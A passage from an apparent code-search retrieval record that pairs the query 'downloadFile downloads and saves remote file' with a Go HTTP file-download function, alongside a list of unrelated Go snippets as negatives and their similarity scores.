[]string{\n\t\t\t\t\"hpgkt/bmawb\",\n\t\t\t\t\"jyi7b\",\n\t\t\t\t\"jyi7b/sgv2q/d5a2f\",\n\t\t\t\t\"jyi7b/sgv2q/fxt1v\",\n\t\t\t\t\"kb0j5/pic0i\",\n\t\t\t\t\"n343n\",\n\t\t\t\t\"sb71y\",\n\t\t\t}},\n\t\t},\n\t}\n\n\tfor _, test := range tt {\n\t\tt.Run(test.name, func(t *testing.T) {\n\t\t\tcatalogURL, err := env.builder.BuildCatalogURL(test.queryParams)\n\t\t\trequire.NoError(t, err)\n\n\t\t\tresp, err := http.Get(catalogURL)\n\t\t\trequire.NoError(t, err)\n\t\t\tdefer resp.Body.Close()\n\n\t\t\trequire.Equal(t, http.StatusOK, resp.StatusCode)\n\n\t\t\tvar body catalogAPIResponse\n\t\t\tdec := json.NewDecoder(resp.Body)\n\t\t\terr = dec.Decode(&body)\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.Equal(t, test.expectedBody, body)\n\t\t\trequire.Equal(t, test.expectedLinkHeader, resp.Header.Get(\"Link\"))\n\t\t})\n\t}\n\n\t// If the database is enabled, disable it and rerun the tests again with the\n\t// database to check that the filesystem mirroring worked correctly.\n\tif env.config.Database.Enabled && !env.config.Migration.DisableMirrorFS {\n\t\tenv.config.Database.Enabled = false\n\t\tdefer func() { env.config.Database.Enabled = true }()\n\n\t\tfor _, test := range tt {\n\t\t\tt.Run(fmt.Sprintf(\"%s filesystem mirroring\", test.name), func(t *testing.T) {\n\t\t\t\tcatalogURL, err := env.builder.BuildCatalogURL(test.queryParams)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\tresp, err := http.Get(catalogURL)\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\tdefer resp.Body.Close()\n\n\t\t\t\trequire.Equal(t, http.StatusOK, resp.StatusCode)\n\n\t\t\t\tvar body catalogAPIResponse\n\t\t\t\tdec := json.NewDecoder(resp.Body)\n\t\t\t\terr = dec.Decode(&body)\n\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\trequire.Equal(t, test.expectedBody, body)\n\t\t\t\trequire.Equal(t, test.expectedLinkHeader, resp.Header.Get(\"Link\"))\n\t\t\t})\n\t\t}\n\t}\n}", "func printRepositoryInfo(i *index.Index) {\n\tfmtutil.Separator(false, \"REPOSITORY INFO\")\n\n\tupdated := timeutil.Format(time.Unix(i.Meta.Created, 0), \"%Y/%m/%d %H:%M:%S\")\n\n\tfmtc.Printf(\" {*}UUID{!}: %s\\n\", i.UUID)\n\tfmtc.Printf(\" {*}Updated{!}: %s\\n\\n\", updated)\n\n\tfor _, distName := range i.Data.Keys() {\n\t\tsize, items := int64(0), 0\n\t\tfor archName, arch := range i.Data[distName] {\n\t\t\tfor _, category := range arch {\n\t\t\t\tfor _, version := range category {\n\t\t\t\t\tsize += version.Size\n\t\t\t\t\titems++\n\n\t\t\t\t\tif len(version.Variations) != 0 {\n\t\t\t\t\t\tfor _, variation := range version.Variations {\n\t\t\t\t\t\t\titems++\n\t\t\t\t\t\t\tsize += variation.Size\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tfmtc.Printf(\n\t\t\t\t\" {c*}%s{!}{c}/%s:{!} %3s {s-}|{!} %s\\n\", distName, archName,\n\t\t\t\tfmtutil.PrettyNum(items), fmtutil.PrettySize(size, \" \"),\n\t\t\t)\n\t\t}\n\t}\n\n\tfmtc.NewLine()\n\tfmtc.Printf(\n\t\t\" {*}Total:{!} %s {s-}|{!} %s\\n\",\n\t\tfmtutil.PrettyNum(i.Meta.Items),\n\t\tfmtutil.PrettySize(i.Meta.Size, \" \"),\n\t)\n\n\tfmtutil.Separator(false)\n}", "func (m *CompaniesCompanyItemRequestBuilder) Items()(*CompaniesItemItemsRequestBuilder) {\n return NewCompaniesItemItemsRequestBuilderInternal(m.BaseRequestBuilder.PathParameters, m.BaseRequestBuilder.RequestAdapter)\n}", "func (db *DB) Items() *ItemIterator {\n\treturn &ItemIterator{db: db}\n}", "func getStories(ids []int, numstories int) []item {\n\tvar client hn.Client\n\tvar stories []item\n\tfor i, id := range ids { // Look up the cache first\n\t\tif it, found := cach.find(id); found {\n\t\t\tstories = append(stories, it)\n\t\t\tif len(stories) >= numstories {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\thnItem, err := client.GetItem(id) // not found in cache, send a request\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t\titem := parseHNItem(hnItem, i)\n\t\tif isStoryLink(item) {\n\t\t\tstories = append(stories, item)\n\t\t\tif len(stories) >= numstories {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn stories\n}", "func (o FioSpecVolumeVolumeSourceProjectedSourcesSecretOutput) Items() FioSpecVolumeVolumeSourceProjectedSourcesSecretItemsArrayOutput {\n\treturn o.ApplyT(func(v FioSpecVolumeVolumeSourceProjectedSourcesSecret) []FioSpecVolumeVolumeSourceProjectedSourcesSecretItems {\n\t\treturn v.Items\n\t}).(FioSpecVolumeVolumeSourceProjectedSourcesSecretItemsArrayOutput)\n}", "func (t *Baggage) getAllItemByPnr(stub shim.ChaincodeStubInterface, args []string) pb.Response {\r\n\r\n\t//checking the number of argument\r\n\tif len(args) < 2 {\r\n\t\treturn shim.Error(\"Incorrect number of arguments. Expecting 2\")\r\n\t}\r\n\r\n\tvar err error\r\n\tvar ItemRecordMap map[string]interface{}\r\n\r\n\trecBytes := args[0]\r\n\t//who := args[1]\r\n\r\n\terr = json.Unmarshal([]byte(recBytes), &ItemRecordMap)\r\n\tif err != nil {\r\n\t\treturn shim.Error(\"Failed to unmarshal ItemRecordMap \")\r\n\t}\r\n\r\n\tpnr := getSafeString(ItemRecordMap[\"pnr\"])\r\n\r\n\tvar queryString string\r\n\r\n\tqueryString = \"{\\\"selector\\\":{\\\"pnr\\\":\\\"\" + pnr + \"\\\"}}\"\r\n\r\n\tquery := []string{queryString}\r\n\r\n\treturn t.queryDetails(stub, query)\r\n\r\n}", "func ShowItemsNotFound(t goatest.TInterface, ctx context.Context, service *goa.Service, ctrl app.ItemsController, user *int) http.ResponseWriter {\n\t// Setup service\n\tvar (\n\t\tlogBuf bytes.Buffer\n\t\tresp interface{}\n\n\t\trespSetter goatest.ResponseSetterFunc = func(r interface{}) { resp = r }\n\t)\n\tif service == nil {\n\t\tservice = goatest.Service(&logBuf, respSetter)\n\t} else {\n\t\tlogger := log.New(&logBuf, \"\", log.Ltime)\n\t\tservice.WithLogger(goa.NewLogger(logger))\n\t\tnewEncoder := func(io.Writer) goa.Encoder { return respSetter }\n\t\tservice.Encoder = goa.NewHTTPEncoder() // Make sure the code ends up using this decoder\n\t\tservice.Encoder.Register(newEncoder, \"*/*\")\n\t}\n\n\t// Setup request context\n\trw := httptest.NewRecorder()\n\tquery := url.Values{}\n\tif user != nil {\n\t\tsliceVal := []string{strconv.Itoa(*user)}\n\t\tquery[\"user\"] = sliceVal\n\t}\n\tu := &url.URL{\n\t\tPath: fmt.Sprintf(\"/item\"),\n\t\tRawQuery: query.Encode(),\n\t}\n\treq, err := http.NewRequest(\"GET\", u.String(), nil)\n\tif err != nil {\n\t\tpanic(\"invalid test \" + err.Error()) // bug\n\t}\n\tprms := url.Values{}\n\tif user != nil {\n\t\tsliceVal := []string{strconv.Itoa(*user)}\n\t\tprms[\"user\"] = sliceVal\n\t}\n\tif ctx == nil {\n\t\tctx = context.Background()\n\t}\n\tgoaCtx := goa.NewContext(goa.WithAction(ctx, \"ItemsTest\"), rw, req, prms)\n\tshowCtx, err := app.NewShowItemsContext(goaCtx, req, service)\n\tif err != nil {\n\t\tpanic(\"invalid test data \" + err.Error()) // bug\n\t}\n\n\t// Perform action\n\terr = ctrl.Show(showCtx)\n\n\t// Validate response\n\tif err != nil {\n\t\tt.Fatalf(\"controller returned %+v, logs:\\n%s\", err, logBuf.String())\n\t}\n\tif rw.Code != 404 {\n\t\tt.Errorf(\"invalid response status code: got %+v, expected 404\", rw.Code)\n\t}\n\n\t// Return results\n\treturn rw\n}", "func (p *PaginatedResult) loadItems(\n\tctx context.Context,\n\tr paginatedRequest,\n\tpageDecoder func() (page interface{}, pageLength func() int),\n) (\n\tnext func(context.Context) (int, bool),\n\terr error,\n) {\n\terr = p.load(ctx, r)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar page interface{}\n\tvar pageLen int\n\tnextItem := 0\n\n\treturn func(ctx context.Context) (int, bool) {\n\t\tif nextItem == 0 {\n\t\t\tvar getLen func() int\n\t\t\tpage, getLen = pageDecoder()\n\t\t\thasNext := p.next(ctx, page)\n\t\t\tif !hasNext {\n\t\t\t\treturn 0, false\n\t\t\t}\n\t\t\tpageLen = getLen()\n\t\t\tif pageLen == 0 { // compatible with hasNext if first page is empty\n\t\t\t\treturn 0, false\n\t\t\t}\n\t\t}\n\n\t\tidx := nextItem\n\t\tnextItem = (nextItem + 1) % pageLen\n\t\treturn idx, true\n\t}, nil\n}", "func (b *CompanyRequestBuilder) Items() *CompanyItemsCollectionRequestBuilder {\n\tbb := &CompanyItemsCollectionRequestBuilder{BaseRequestBuilder: b.BaseRequestBuilder}\n\tbb.baseURL += \"/items\"\n\treturn bb\n}", "func getStoriesWithChannel(idx int, ids []int) []item {\n\tvar stories []item\n\tc := make(chan item)\n\tn := 0\n\tfor i, id := range ids { // Look up the cache first\n\t\tif it, found := cach.find(id); found {\n\t\t\tstories = append(stories, it)\n\t\t\tif len(stories) >= len(ids) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tn++\n\t\tgo func(i, id int) {\n\t\t\tvar client hn.Client\n\t\t\thnItem, err := client.GetItem(id)\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(err)\n\t\t\t}\n\t\t\titm := parseHNItem(hnItem, i+idx)\n\t\t\tif !isStoryLink(itm) {\n\t\t\t\titm.id = -1\n\t\t\t}\n\t\t\tc <- itm\n\t\t}(i, id)\n\t}\n\tfor i := 0; i < n; i++ { // we need to know the exact number of items in the blocking channel\n\t\titm := <-c\n\t\tif itm.ID != -1 {\n\t\t\tstories = append(stories, itm)\n\t\t}\n\t}\n\treturn stories\n}", "func (r *repo) Get(args *RepoArgs) ([]RepoData, error) {\n\tif err := args.validate(); err != nil {\n\t\treturn nil, err\n\t}\n\n\trepos := make([]RepoData, 0)\n\treqArgs := r.formRequestArgs(args.User, args.Org)\n\n\tif err := r.g.doFullPagination(reqArgs, extractRepos(&repos)); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn repos, nil\n}", "func (l *StageList) GetItems() []resource.Managed {\n\titems := make([]resource.Managed, len(l.Items))\n\tfor i := range l.Items {\n\t\titems[i] = &l.Items[i]\n\t}\n\treturn items\n}", "func getRepoList(projectID int64) ([]string, error) {\n\t/*\n\t\tuiUser := os.Getenv(\"UI_USR\")\n\t\tif len(uiUser) == 0 {\n\t\t\tuiUser = \"admin\"\n\t\t}\n\t\tuiPwd := os.Getenv(\"UI_PWD\")\n\t\tif len(uiPwd) == 0 {\n\t\t\tuiPwd = \"Harbor12345\"\n\t\t}\n\t*/\n\tuiURL := config.LocalUIURL()\n\tclient := &http.Client{}\n\treq, err := http.NewRequest(\"GET\", uiURL+\"/api/repositories?project_id=\"+strconv.Itoa(int(projectID)), nil)\n\tif err != nil {\n\t\tlog.Errorf(\"Error when creating request: %v\", err)\n\t\treturn nil, err\n\t}\n\t//req.SetBasicAuth(uiUser, uiPwd)\n\treq.AddCookie(&http.Cookie{Name: models.UISecretCookie, Value: config.UISecret()})\n\t//dump, err := httputil.DumpRequest(req, true)\n\t//log.Debugf(\"req: %q\", dump)\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tlog.Errorf(\"Error when calling UI api to get repositories, error: %v\", err)\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\tlog.Errorf(\"Unexpected status code: %d\", resp.StatusCode)\n\t\tdump, _ := httputil.DumpResponse(resp, true)\n\t\tlog.Debugf(\"response: %q\", dump)\n\t\treturn nil, fmt.Errorf(\"Unexpected status code when getting repository list: %d\", resp.StatusCode)\n\t}\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tlog.Errorf(\"Failed to read the response body, error: %v\", err)\n\t\treturn nil, err\n\t}\n\tvar repoList []string\n\terr = json.Unmarshal(body, &repoList)\n\treturn repoList, err\n}", "func (o IopingSpecVolumeVolumeSourceProjectedSourcesSecretOutput) Items() IopingSpecVolumeVolumeSourceProjectedSourcesSecretItemsArrayOutput {\n\treturn o.ApplyT(func(v IopingSpecVolumeVolumeSourceProjectedSourcesSecret) []IopingSpecVolumeVolumeSourceProjectedSourcesSecretItems {\n\t\treturn v.Items\n\t}).(IopingSpecVolumeVolumeSourceProjectedSourcesSecretItemsArrayOutput)\n}" ]
[ "0.64373845", "0.6281059", "0.6268589", "0.61503065", "0.60985714", "0.6079799", "0.6058126", "0.60465604", "0.59909725", "0.5920822", "0.5885976", "0.5869522", "0.581138", "0.5810596", "0.5780842", "0.57463956", "0.573643", "0.57293844", "0.56773424", "0.5636208", "0.55769616", "0.5561733", "0.5545331", "0.5483849", "0.54527473", "0.54291767", "0.5409813", "0.5409565", "0.54049486", "0.5376528", "0.53651744", "0.5317003", "0.5316223", "0.530717", "0.5294299", "0.529128", "0.529113", "0.5285672", "0.52694595", "0.5236199", "0.5234451", "0.522513", "0.522513", "0.52226686", "0.52053005", "0.5172435", "0.51717", "0.516514", "0.5162706", "0.5162018", "0.51571304", "0.51447976", "0.5144269", "0.5130544", "0.51258045", "0.51223963", "0.509932", "0.50957245", "0.5083017", "0.50618017", "0.5060424", "0.50559026", "0.5052587", "0.50470906", "0.5046912", "0.5036442", "0.50361234", "0.50301296", "0.50300604", "0.5024739", "0.5023297", "0.50205195", "0.50109357", "0.49962696", "0.49873704", "0.4986627", "0.49800205", "0.49749348", "0.49749348", "0.49749348", "0.49749348", "0.49749348", "0.4967585", "0.4957157", "0.49567208", "0.49549314", "0.4952952", "0.49490744", "0.4947425", "0.49397495", "0.49382985", "0.4938266", "0.49355343", "0.49336576", "0.49294406", "0.49286392", "0.49186054", "0.49173293", "0.49151474", "0.49063286" ]
0.676599
0
downloadFile downloads and saves remote file
func downloadFile(url, output string) error { if fsutil.IsExist(output) { os.Remove(output) } fd, err := os.OpenFile(output, os.O_CREATE|os.O_WRONLY, 0644) if err != nil { return fmtc.Errorf("Can't create file: %v", err) } defer fd.Close() resp, err := req.Request{URL: url}.Get() if err != nil { return fmtc.Errorf("Can't download file: %v", err) } if resp.StatusCode != 200 { return fmtc.Errorf("Can't download file: server return status code %d", resp.StatusCode) } w := bufio.NewWriter(fd) _, err = io.Copy(w, resp.Body) w.Flush() if err != nil { return fmtc.Errorf("Can't write file: %v", err) } return nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func downloadFile(filename, url string) error {\n\t// Try to create the file with the given filename.\n\tfile, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\n\t// Get the response from the given url.\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Copy the response body into the file.\n\t_, err = io.Copy(file, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func downloadFile(url string, file *os.File) error {\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(file, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func downloadFile(filepath string, url string) error {\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func downloadFile(filepath string, url string) error {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func downloadFile(filepath string, url string) error {\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func downloadFile(filepath string, url string) error {\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func downloadFile(fileURL string, filePath string) (err error) {\n\tres, err := http.Get(fileURL)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer res.Body.Close()\n\n\tdata, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn ioutil.WriteFile(filePath, data, 0755)\n\n}", "func downloadFile(filepath string, url string) (err error) {\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Get the data into RAM - TODO stream straight to disk\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Check server response\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"bad status: %s\", resp.Status)\n\t}\n\n\t// write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (f *Fs) DownloadRemoteFile(url string, name string) error {\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := f.AferoFs.Create(name)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\n\treturn err\n}", "func Download(url string, filepath string) (err error) {\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Writer the body to file\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (a *Attachment) downloadFile(path string, url string) (string, error) {\n\t// Create the file.\n\tout, err := os.Create(path)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer out.Close()\n\t\n\t// Download the file.\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer response.Body.Close()\n\t\n\t// Write the downloaded data to the file.\n\t_, err = io.Copy(out, response.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn path, nil\n}", "func downloadFile(url, filePath string) (err error) {\n\n\t// Create the file in the folder\n\tout, err := os.Create(filePath)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer closeSafely(out)\n\n\t// Get the data\n\tresp, err := http.Get(url) // nolint: gosec\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer closeSafely(resp.Body)\n\n\t// Check server response\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"bad status (%s) when downloading the file %s\", resp.Status, url)\n\t}\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn\n}", "func DownloadFile(lr loginRes, filepath string, url string) error {\n\n\t// Create the file, but give it a tmp file extension, this means we won't overwrite a\n\t// file until it's downloaded, but we'll remove the tmp extension once downloaded.\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\theaders := map[string]string{\n\t\t\"Cookie\": fmt.Sprintf(\"oid=%s;sid=%s\", lr.orgID, lr.sID),\n\t\t\"X-SFDC-Session\": lr.sID,\n\t}\n\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor k, v := range headers {\n\t\treq.Header.Set(k, v)\n\t}\n\n\tresp, err := httpClient.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Write body to file\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\treturn nil\n}", "func downloadFile(url string) (string, error) {\n\tsplittedFileName := strings.Split(url, \"/\")\n\tfileName := splittedFileName[len(splittedFileName)-1]\n\tfmt.Print(\"Downloading \", fileName, \" ... \")\n\toutput, err := os.Create(fileName)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer output.Close()\n\tresponse, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer response.Body.Close()\n\tn, err := io.Copy(output, response.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tfmt.Println(n, \" Bytes\")\n\treturn fileName, nil\n}", "func DownloadFile(outputPath string, url string) {\n\t// Get the data\n\tresp, err := http.Get(url)\n\tcheckErr.CheckErr(err)\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(outputPath)\n\tcheckErr.CheckErr(err)\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\tcheckErr.CheckErr(err)\n}", "func (c *Client) DownloadFile(url, path string) (string, error) {\n\tfilePath := filepath.Join(path, filepath.Base(url))\n\treturn filePath, c.Download(url, filePath)\n}", "func DownloadFile(saveto string, extension string, url string, maxMegabytes uint64) error {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tfilename := saveto + \"/\" + FilenameFromURL(url)\n\t// Create the file\n\tvar out *os.File\n\tif _, err := os.Stat(filename); err == nil {\n\t\tout, err = os.Create(filename + randString(10) + \".\" + extension)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tout, err = os.Create(filename)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t//_, err = io.Copy(out, resp.Body)\n\tmegabytes := int64(maxMegabytes * 1024000)\n\t_, err = io.CopyN(out, resp.Body, megabytes)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\tDebugString(\"Downloading [\" + url + \"]\")\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.StatusCode == 404 {\n\t\treturn errors.New(\"The requested release was not found (404)\")\n\t}\n\tif resp.StatusCode != 200 {\n\t\treturn errors.New(\"GitHub responded with error code \" + strconv.Itoa(resp.StatusCode))\n\t}\n\n\tdefer resp.Body.Close()\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Change file permission bit\n\terr = os.Chmod(filepath, 0755)\n\tif err != nil {\n\t\tlog.Println(err)\n\t}\n\n\tif runtime.GOOS != \"windows\" {\n\t\t// Change file ownership.\n\t\terr = os.Chown(filepath, os.Getuid(), os.Getgid())\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t}\n\t}\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func downloadFile(url string) (string, error) {\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tdefer resp.Body.Close()\n\n\tout := new(strings.Builder)\n\n\t// Write the body to the string builder\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn out.String(), nil\n}", "func DownloadFile(filepath string, url string) error {\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\treturn err\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Create the file\n\tout, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func DownloadFile(url, path string) (err error) {\n\tvar (\n\t\tresp *http.Response\n\t\tdata []byte\n\t)\n\tresp, err = http.Get(url)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tdata, err = io.ReadAll(resp.Body)\n\tdefer resp.Body.Close()\n\tif err != nil {\n\t\treturn\n\t}\n\n\treturn os.WriteFile(path, data, 0600)\n}", "func DownloadFile(url, filepath string) (err error) {\n\tcli := &http.Client{}\n\tresp, err := cli.Get(url)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\n\tfile, err := os.Create(filepath)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer file.Close()\n\n\t_, err = io.Copy(file, resp.Body)\n\treturn\n}", "func DownloadFile(filepath string, url string) error {\n\n\t// Create the file\n\tout, err := os.OpenFile(filepath, os.O_RDWR|os.O_CREATE|os.O_EXCL, 0666)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer out.Close()\n\n\t// Get the data\n\tresp, err := http.Get(url)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\t// Write the body to file\n\t_, err = io.Copy(out, resp.Body)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func download(url, fileName, destinationPath string, overwrite bool) (string, error) {\n\n\tfilePath := filepath.Join(destinationPath, fileName)\n\n\tfmt.Println(\"Downloading\", url, \"to\", filePath)\n\n\texecute := overwrite\n\tif !overwrite {\n\t\t_, err := os.Stat(filePath)\n\t\texecute = os.IsNotExist(err)\n\t}\n\tif execute {\n\t\t// The file was not downloaded 